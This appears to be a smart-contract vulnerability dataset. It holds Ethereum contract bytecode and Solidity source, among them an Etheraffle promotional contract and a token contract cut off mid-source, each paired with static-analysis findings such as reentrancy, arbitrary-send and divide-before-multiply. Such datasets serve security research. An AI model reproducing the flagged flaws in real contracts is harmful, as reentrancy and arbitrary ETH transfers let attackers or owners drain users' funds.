2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112999061276f565b60405180910390fd5b600081116112e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112dc9061286f565b60405180910390fd5b73c6866ce931d4b765d66080dd6a47566ccb99f62f73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016113329190612664565b60206040518083038186803b15801561134a57600080fd5b505afa15801561135e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113829190612337565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561142d5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b61143857600061143a565b815b111561144557600080fd5b61144d610db0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114bb575061148b610db0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156116cc57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561156b5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115c15750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561160b57600a54811061160a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116019061280f565b60405180910390fd5b5b600061161630610c0c565b9050600c60159054906101000a900460ff161580156116835750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561169b5750600c60169054906101000a900460ff165b156116ca576116a981611740565b6000479050670de0b6b3a76400008111156116c8576116c747611a36565b5b505b505b6116d7838383611b05565b505050565b6000838311158290611724576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171b919061274d565b60405180910390fd5b50600083856117339190612c26565b9050809150509392505050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561177857611777612d81565b5b6040519080825280602002602001820160405280156117a65781602001602082028036833780820191505090505b50905030816000815181106117be576117bd612d52565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561186057600080fd5b505afa158015611874573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061189891906121dd565b816001815181106118ac576118ab612d52565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061191330600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610ff7565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161197795949392919061290a565b600060405180830381600087803b15801561199157600080fd5b505af11580156119a5573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b6000600554821115611a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a069061278f565b60405180910390fd5b6000611a19611b15565b9050611a2e8184610fa590919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611a9e573d6000803e3d6000fd5b5050565b60008083118290611ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae0919061274d565b60405180910390fd5b5060008385611af89190612a2a565b9050809150509392505050565b611b10838383611b40565b505050565b6000806000611b22611d0b565b91509150611b398183610fa590919063ffffffff16565b9250505090565b600080600080600080611b5287611da6565b955095509550955095509550611bb086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c4585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c9181611eb6565b611c9b8483611f73565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611cf891906128ef565b60405180910390a3505050505050505050565b6000806000600554905060006006600a611d259190612aae565b6305f5e100611d349190612bcc565b9050611d676006600a611d479190612aae565b6305f5e100611d569190612bcc565b600554610fa590919063ffffffff16565b821015611d99576005546006600a611d7f9190612aae565b6305f5e100611d8e9190612bcc565b935093505050611da2565b81819350935050505b9091565b6000806000806000806000806000611dc38a600754600854611fad565b9250925092506000611dd3611b15565b90506000806000611de68e878787612043565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611e5083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116dc565b905092915050565b6000808284611e6791906129d4565b905083811015611eac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea3906127ef565b60405180910390fd5b8091505092915050565b6000611ec0611b15565b90506000611ed782846120cc90919063ffffffff16565b9050611f2b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611f8882600554611e0e90919063ffffffff16565b600581905550611fa381600654611e5890919063ffffffff16565b6006819055505050565b600080600080611fd96064611fcb888a6120cc90919063ffffffff16565b610fa590919063ffffffff16565b905060006120036064611ff5888b6120cc90919063ffffffff16565b610fa590919063ffffffff16565b9050600061202c8261201e858c611e0e90919063ffffffff16565b611e0e90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061205c85896120cc90919063ffffffff16565b9050600061207386896120cc90919063ffffffff16565b9050600061208a87896120cc90919063ffffffff16565b905060006120b3826120a58587611e0e90919063ffffffff16565b611e0e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156120df5760009050612141565b600082846120ed9190612bcc565b90508284826120fc9190612a2a565b1461213c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121339061282f565b60405180910390fd5b809150505b92915050565b600081359050612156816130c9565b92915050565b60008151905061216b816130c9565b92915050565b600081519050612180816130e0565b92915050565b600081359050612195816130f7565b92915050565b6000815190506121aa816130f7565b92915050565b6000602082840312156121c6576121c5612db0565b5b60006121d484828501612147565b91505092915050565b6000602082840312156121f3576121f2612db0565b5b60006122018482850161215c565b91505092915050565b6000806040838503121561222157612220612db0565b5b600061222f85828601612147565b925050602061224085828601612147565b9150509250929050565b60008060006060848603121561226357612262612db0565b5b600061227186828701612147565b935050602061228286828701612147565b925050604061229386828701612186565b9150509250925092565b600080604083850312156122b4576122b3612db0565b5b60006122c285828601612147565b92505060206122d385828601612186565b9150509250929050565b6000602082840312156122f3576122f2612db0565b5b600061230184828501612171565b91505092915050565b6000602082840312156123205761231f612db0565b5b600061232e84828501612186565b91505092915050565b60006020828403121561234d5761234c612db0565b5b600061235b8482850161219b565b91505092915050565b60008060006060848603121561237d5761237c612db0565b5b600061238b8682870161219b565b935050602061239c8682870161219b565b92505060406123ad8682870161219b565b9150509250925092565b60006123c383836123cf565b60208301905092915050565b6123d881612c5a565b82525050565b6123e781612c5a565b82525050565b60006123f88261298f565b61240281856129b2565b935061240d8361297f565b8060005b8381101561243e57815161242588826123b7565b9750612430836129a5565b925050600181019050612411565b5085935050505092915050565b61245481612c6c565b82525050565b61246381612caf565b82525050565b60006124748261299a565b61247e81856129c3565b935061248e818560208601612cc1565b61249781612db5565b840191505092915050565b60006124af6023836129c3565b91506124ba82612dd3565b604082019050919050565b60006124d2602a836129c3565b91506124dd82612e22565b604082019050919050565b60006124f56022836129c3565b915061250082612e71565b604082019050919050565b60006125186017836129c3565b915061252382612ec0565b602082019050919050565b600061253b601b836129c3565b915061254682612ee9565b602082019050919050565b600061255e601a836129c3565b915061256982612f12565b602082019050919050565b60006125816021836129c3565b915061258c82612f3b565b604082019050919050565b60006125a46020836129c3565b91506125af82612f8a565b602082019050919050565b60006125c76029836129c3565b91506125d282612fb3565b604082019050919050565b60006125ea6025836129c3565b91506125f582613002565b604082019050919050565b600061260d6024836129c3565b915061261882613051565b604082019050919050565b6000612630601a836129c3565b915061263b826130a0565b602082019050919050565b61264f81612c98565b82525050565b61265e81612ca2565b82525050565b600060208201905061267960008301846123de565b92915050565b600060408201905061269460008301856123de565b6126a160208301846123de565b9392505050565b60006040820190506126bd60008301856123de565b6126ca6020830184612646565b9392505050565b600060c0820190506126e660008301896123de565b6126f36020830188612646565b612700604083018761245a565b61270d606083018661245a565b61271a60808301856123de565b61272760a0830184612646565b979650505050505050565b6000602082019050612747600083018461244b565b92915050565b600060208201905081810360008301526127678184612469565b905092915050565b60006020820190508181036000830152612788816124a2565b9050919050565b600060208201905081810360008301526127a8816124c5565b9050919050565b600060208201905081810360008301526127c8816124e8565b9050919050565b600060208201905081810360008301526127e88161250b565b9050919050565b600060208201905081810360008301526128088161252e565b9050919050565b6000602082019050818103600083015261282881612551565b9050919050565b6000602082019050818103600083015261284881612574565b9050919050565b6000602082019050818103600083015261286881612597565b9050919050565b60006020820190508181036000830152612888816125ba565b9050919050565b600060208201905081810360008301526128a8816125dd565b9050919050565b600060208201905081810360008301526128c881612600565b9050919050565b600060208201905081810360008301526128e881612623565b9050919050565b60006020820190506129046000830184612646565b92915050565b600060a08201905061291f6000830188612646565b61292c602083018761245a565b818103604083015261293e81866123ed565b905061294d60608301856123de565b61295a6080830184612646565b9695505050505050565b60006020820190506129796000830184612655565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006129df82612c98565b91506129ea83612c98565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a1f57612a1e612cf4565b5b828201905092915050565b6000612a3582612c98565b9150612a4083612c98565b925082612a5057612a4f612d23565b5b828204905092915050565b6000808291508390505b6001851115612aa557808604811115612a8157612a80612cf4565b5b6001851615612a905780820291505b8081029050612a9e85612dc6565b9450612a65565b94509492505050565b6000612ab982612c98565b9150612ac483612ca2565b9250612af17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612af9565b905092915050565b600082612b095760019050612bc5565b81612b175760009050612bc5565b8160018114612b2d5760028114612b3757612b66565b6001915050612bc5565b60ff841115612b4957612b48612cf4565b5b8360020a915084821115612b6057612b5f612cf4565b5b50612bc5565b5060208310610133831016604e8410600b8410161715612b9b5782820a905083811115612b9657612b95612cf4565b5b612bc5565b612ba88484846001612a5b565b92509050818404811115612bbf57612bbe612cf4565b5b81810290505b9392505050565b6000612bd782612c98565b9150612be283612c98565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612c1b57612c1a612cf4565b5b828202905092915050565b6000612c3182612c98565b9150612c3c83612c98565b925082821015612c4f57612c4e612cf4565b5b828203905092915050565b6000612c6582612c78565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612cba82612c98565b9050919050565b60005b83811015612cdf578082015181840152602081019050612cc4565b83811115612cee576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206973206e6f74207374617274656420796574000000000000600082015250565b6130d281612c5a565b81146130dd57600080fd5b50565b6130e981612c6c565b81146130f457600080fd5b50565b61310081612c98565b811461310b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cae541e2159fa05f001bbbf6d919fc17b613d6aafa48e030805bb5108d03770064736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,095 |
0xcca9fc3289157a3197ce467e253d99e23c2cb19b
|
pragma solidity^0.4.21;
/*
* ##########################################
* ##########################################
* ### ###
* ### 𝐏𝐥𝐚𝐲 & 𝐖𝐢𝐧 𝐄𝐭𝐡𝐞𝐫 ###
* ### at ###
* ### 𝐄𝐓𝐇𝐄𝐑𝐀𝐅𝐅𝐋𝐄.𝐂𝐎𝐌 ###
* ### ###
* ##########################################
* ##########################################
*
* Welcome to the 𝐄𝐭𝐡𝐞𝐫𝐚𝐟𝐟𝐥𝐞 𝐋𝐎𝐓 𝐓𝐨𝐤𝐞𝐧 promotional contract!
* First you should go and play 𝐄𝐭𝐡𝐞𝐫𝐚𝐟𝐟𝐥𝐞 @ 𝐡𝐭𝐭𝐩𝐬://𝐞𝐭𝐡𝐞𝐫𝐚𝐟𝐟𝐥𝐞.𝐜𝐨𝐦
* Then you'll have earnt free 𝐋𝐎𝐓 𝐓𝐨𝐤𝐞𝐧𝐬 via this very promotion!
* Next you should learn about our 𝐈𝐂𝐎 @ 𝐡𝐭𝐭𝐩𝐬://𝐞𝐭𝐡𝐞𝐫𝐚𝐟𝐟𝐥𝐞.𝐜𝐨𝐦/𝐢𝐜𝐨
* Then take part by buying even more 𝐋𝐎𝐓 𝐭𝐨𝐤𝐞𝐧𝐬!
* And don't forget to play 𝐄𝐭𝐡𝐞𝐫𝐚𝐟𝐟𝐥𝐞 some more because it's brilliant!
*
* If you want to chat to us you have loads of options:
* On 𝐓𝐞𝐥𝐞𝐠𝐫𝐚𝐦 @ 𝐡𝐭𝐭𝐩𝐬://𝐭.𝐦𝐞/𝐞𝐭𝐡𝐞𝐫𝐚𝐟𝐟𝐥𝐞
* Or on 𝐓𝐰𝐢𝐭𝐭𝐞𝐫 @ 𝐡𝐭𝐭𝐩𝐬://𝐭𝐰𝐢𝐭𝐭𝐞𝐫.𝐜𝐨𝐦/𝐞𝐭𝐡𝐞𝐫𝐚𝐟𝐟𝐥𝐞
* Or on 𝐑𝐞𝐝𝐝𝐢𝐭 @ 𝐡𝐭𝐭𝐩𝐬://𝐞𝐭𝐡𝐞𝐫𝐚𝐟𝐟𝐥𝐞.𝐫𝐞𝐝𝐝𝐢𝐭.𝐜𝐨𝐦
*
* 𝐄𝐭𝐡𝐞𝐫𝐚𝐟𝐟𝐥𝐞 - the only 𝐭𝐫𝐮𝐥𝐲 𝐝𝐞𝐜𝐞𝐧𝐭𝐫𝐚𝐥𝐢𝐳𝐞𝐝 & 𝐜𝐡𝐚𝐫𝐢𝐭𝐚𝐛𝐥𝐞 blockchain lottery.
*/
contract EtheraffleInterface {
uint public tktPrice;
function getUserNumEntries(address _entrant, uint _week) public view returns (uint) {}
}
contract LOTInterface {
function transfer(address _to, uint _value) public {}
function balanceOf(address _owner) public view returns (uint) {}
}
contract EtheraffleLOTPromo {
bool public isActive;
uint constant public RAFEND = 500400; // 7:00pm Saturdays
uint constant public BIRTHDAY = 1500249600; // Etheraffle's birthday <3
uint constant public ICOSTART = 1522281600; // Thur 29th March 2018
uint constant public TIER1END = 1523491200; // Thur 12th April 2018
uint constant public TIER2END = 1525305600; // Thur 3rd May 2018
uint constant public TIER3END = 1527724800; // Thur 31st May 2018
address constant public ETHERAFFLE = 0x97f535e98cf250CDd7Ff0cb9B29E4548b609A0bd; // ER multisig wallet address
LOTInterface LOTContract;
EtheraffleInterface etheraffleContract;
/* Mapping of user address to weekNo to claimed bool */
mapping (address => mapping (uint => bool)) public claimed;
event LogActiveStatus(bool currentStatus, uint atTime);
event LogTokenDeposit(address fromWhom, uint tokenAmount, bytes data);
event LogLOTClaim(address whom, uint howMany, uint inWeek, uint atTime);
/*
* @dev Modifier requiring function caller to be the Etheraffle
* multisig wallet address
*/
modifier onlyEtheraffle() {
require(msg.sender == ETHERAFFLE);
_;
}
/*
* @dev Constructor - sets promo running and instantiates required
* contracts.
*
* @param _LOT Address of the LOT token contract
* @param _ER Address of the Etheraffle contract
*/
function EtheraffleLOTPromo(address _LOT, address _ER) public {
isActive = true;
LOTContract = LOTInterface(_LOT);
etheraffleContract = EtheraffleInterface(_ER);
}
/*
* @dev Function used to redeem promotional LOT owed. Use weekNo of
* 0 to get current week number. Requires user not to have already
* claimed week number in question's earnt promo LOT and for promo
* to be active. It calculates LOT owed, and sends them to the
* caller. Should contract's LOT balance fall too low, attempts
* to redeem will arrest the contract to await a resupply of LOT.
*/
function redeem(uint _weekNo) public {
uint week = _weekNo == 0 ? getWeek() : _weekNo;
uint entries = getNumEntries(msg.sender, week);
require(
!claimed[msg.sender][week] &&
entries > 0 &&
isActive
);
uint amt = getPromoLOTEarnt(entries);
if (getLOTBalance(this) < amt) {
isActive = false;
emit LogActiveStatus(false, now);
return;
}
claimed[msg.sender][week] = true;
LOTContract.transfer(msg.sender, amt);
emit LogLOTClaim(msg.sender, amt, week, now);
}
/*
* @dev Returns number of entries made in Etheraffle contract by
* function caller in whatever the queried week is.
*
* @param _address Address to be queried
* @param _weekNo Desired week number. (Use 0 for current week)
*/
function getNumEntries(address _address, uint _weekNo) public view returns (uint) {
uint week = _weekNo == 0 ? getWeek() : _weekNo;
return etheraffleContract.getUserNumEntries(_address, week);
}
/*
* @dev Toggles promo on & off. Only callable by the Etheraffle
* multisig wallet.
*
* @param _status Desired bool status of the promo
*/
function togglePromo(bool _status) public onlyEtheraffle {
isActive = _status;
emit LogActiveStatus(_status, now);
}
/*
* @dev Same getWeek function as seen in main Etheraffle contract to
* ensure parity. Ddefined by number of weeks since Etheraffle's
* birthday.
*/
function getWeek() public view returns (uint) {
uint curWeek = (now - BIRTHDAY) / 604800;
if (now - ((curWeek * 604800) + BIRTHDAY) > RAFEND) curWeek++;
return curWeek;
}
/**
* @dev ERC223 tokenFallback function allows to receive ERC223 tokens
* properly.
*
* @param _from Address of the sender.
* @param _value Amount of deposited tokens.
* @param _data Token transaction data.
*/
function tokenFallback(address _from, uint256 _value, bytes _data) external {
if (_value > 0) emit LogTokenDeposit(_from, _value, _data);
}
/*
* @dev Retrieves current LOT token balance of an address.
*
* @param _address Address whose balance is to be queried.
*/
function getLOTBalance(address _address) internal view returns (uint) {
return LOTContract.balanceOf(_address);
}
/*
* @dev Function returns bool re whether or not address in question
* has claimed promo LOT for the week in question.
*
* @param _address Ethereum address to be queried
* @param _weekNo Week number to be queried (use 0 for current week)
*/
function hasRedeemed(address _address, uint _weekNo) public view returns (bool) {
uint week = _weekNo == 0 ? getWeek() : _weekNo;
return claimed[_address][week];
}
/*
* @dev Returns current ticket price from the main Etheraffle
* contract
*/
function getTktPrice() public view returns (uint) {
return etheraffleContract.tktPrice();
}
/*
* @dev Function returns current ICO tier's exchange rate of LOT
* per ETH.
*/
function getRate() public view returns (uint) {
if (now < ICOSTART) return 110000 * 10 ** 6;
if (now <= TIER1END) return 100000 * 10 ** 6;
if (now <= TIER2END) return 90000 * 10 ** 6;
if (now <= TIER3END) return 80000 * 10 ** 6;
else return 0;
}
/*
* @dev Returns number of promotional LOT earnt as calculated
* based on number of entries, current ICO exchange rate
* and the current Etheraffle ticket price.
*/
function getPromoLOTEarnt(uint _entries) public view returns (uint) {
return (_entries * getRate() * getTktPrice()) / (1 * 10 ** 18);
}
/*
* @dev Allows contract addresses to be changed in the event of
* future contract upgrades.
*
* @param _LOT Address of the LOT token contract
* @param _ER Address of the Etheraffle contract
*/
function updateAddresses(address _LOT, address _ER) external onlyEtheraffle {
LOTContract = LOTInterface(_LOT);
etheraffleContract = EtheraffleInterface(_ER);
}
/*
* @dev Scuttles contract, sending any remaining LOT tokens back
* to the Etheraffle multisig (by whom it is only callable)
*/
function scuttle() external onlyEtheraffle {
LOTContract.transfer(ETHERAFFLE, LOTContract.balanceOf(this));
selfdestruct(ETHERAFFLE);
}
}
|
0x6060604052600436106100f85763ffffffff60e060020a600035041663045ff49a81146100fd57806311448a56146101225780631f0815ce1461013757806322f3e2d41461014f57806346183d06146101765780634dd6c8de1461018957806351aecb51146101ab578063524aae98146101cd578063679aefce146101e3578063874d6d81146101f657806394992b7614610209578063a609e2091461021c578063b0b3c9a61461022f578063c0e5d3001461025e578063c0ee0b8a14610280578063c1d11037146102af578063ce148564146102d4578063d75b5d9d146102e7578063d860ced1146102fa578063db006a751461030d575b600080fd5b341561010857600080fd5b610110610323565b60405190815260200160405180910390f35b341561012d57600080fd5b61013561032b565b005b341561014257600080fd5b6101356004351515610446565b341561015a57600080fd5b6101626104bc565b604051901515815260200160405180910390f35b341561018157600080fd5b6101106104c5565b341561019457600080fd5b610162600160a060020a0360043516602435610523565b34156101b657600080fd5b610110600160a060020a0360043516602435610543565b34156101d857600080fd5b6101106004356105d1565b34156101ee57600080fd5b6101106105ff565b341561020157600080fd5b610110610666565b341561021457600080fd5b610110610699565b341561022757600080fd5b6101106106a1565b341561023a57600080fd5b6102426106a9565b604051600160a060020a03909116815260200160405180910390f35b341561026957600080fd5b610162600160a060020a03600435166024356106c1565b341561028b57600080fd5b61013560048035600160a060020a031690602480359160443591820191013561070a565b34156102ba57600080fd5b610135600160a060020a0360043581169060243516610782565b34156102df57600080fd5b6101106107fd565b34156102f257600080fd5b610110610805565b341561030557600080fd5b61011061080c565b341561031857600080fd5b610135600435610814565b635aea510081565b33600160a060020a03167397f535e98cf250cdd7ff0cb9b29e4548b609a0bd1461035457600080fd5b6000546101009004600160a060020a031663a9059cbb7397f535e98cf250cdd7ff0cb9b29e4548b609a0bd826370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156103c457600080fd5b5af115156103d157600080fd5b5050506040518051905060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561041e57600080fd5b5af1151561042b57600080fd5b507397f535e98cf250cdd7ff0cb9b29e4548b609a0bd915050ff5b33600160a060020a03167397f535e98cf250cdd7ff0cb9b29e4548b609a0bd1461046f57600080fd5b6000805460ff19168215151790557f89d606a66fbff2e7999490eea110a2f26a705e8fc595cfd12dac8a32552518338142604051911515825260208201526040908101905180910390a150565b60005460ff1681565b600154600090600160a060020a031663b888a66b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561050757600080fd5b5af1151561051457600080fd5b50505060405180519150505b90565b600260209081526000928352604080842090915290825290205460ff1681565b6000808215610552578261055a565b61055a610666565b600154909150600160a060020a031663e5f6f252858360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156105b357600080fd5b5af115156105c057600080fd5b505050604051805195945050505050565b6000670de0b6b3a76400006105e46104c5565b6105ec6105ff565b8402028115156105f857fe5b0492915050565b6000635abc2c80421015610619575064199c82cc00610520565b635acea1804211610630575064174876e800610520565b635aea5100421161064757506414f46b0400610520565b635b0f3b00421161065e57506412a05f2000610520565b506000610520565b60008062093a8063596bfdff1942010490506207a2b063596bfe008262093a80020142031115610694576001015b919050565b635abc2c8081565b63596bfe0081565b7397f535e98cf250cdd7ff0cb9b29e4548b609a0bd81565b60008082156106d057826106d8565b6106d8610666565b600160a060020a038516600090815260026020908152604080832084845290915290205460ff16925090505092915050565b600083111561077c577fb8d738496fa71a9a7bfee7d00bba65b3a7eb49d786be0e219dac8b906efe491e84848484604051600160a060020a0385168152602081018490526060604082018181529082018390526080820184848082843782019150509550505050505060405180910390a15b50505050565b33600160a060020a03167397f535e98cf250cdd7ff0cb9b29e4548b609a0bd146107ab57600080fd5b6000805474ffffffffffffffffffffffffffffffffffffffff001916610100600160a060020a03948516021790556001805473ffffffffffffffffffffffffffffffffffffffff191691909216179055565b635b0f3b0081565b6207a2b081565b635acea18081565b600080808315610824578361082c565b61082c610666565b92506108383384610543565b600160a060020a033316600090815260026020908152604080832087845290915290205490925060ff1615801561086f5750600082115b801561087d575060005460ff165b151561088857600080fd5b610891826105d1565b90508061089d306109eb565b10156108ee576000805460ff191681557f89d606a66fbff2e7999490eea110a2f26a705e8fc595cfd12dac8a32552518339042604051911515825260208201526040908101905180910390a161077c565b600160a060020a03338181166000908152600260209081526040808320888452909152808220805460ff19166001179055905461010090049092169163a9059cbb919084905160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561097457600080fd5b5af1151561098157600080fd5b5050507f7cc1d786ed8b409acd4f640a91f806da867896280eaa28f7d2ea6f087260e613338285426040518085600160a060020a0316600160a060020a0316815260200184815260200183815260200182815260200194505050505060405180910390a150505050565b600080546101009004600160a060020a03166370a082318360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610a4157600080fd5b5af11515610a4e57600080fd5b505050604051805193925050505600a165627a7a72305820d4f99a0b194f6fbaafab201ed85c335813bf0c18898dc123236f246b65c3b0fb0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 6,096 |
0x118b189758362772ff70a24965bef72d0bb4952b
|
/**
*Submitted for verification at Etherscan.io on 2022-03-28
*/
//Telegram - https://t.me/ticktockcommunity
//Twitter - https://twitter.com/ticktock_eth
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
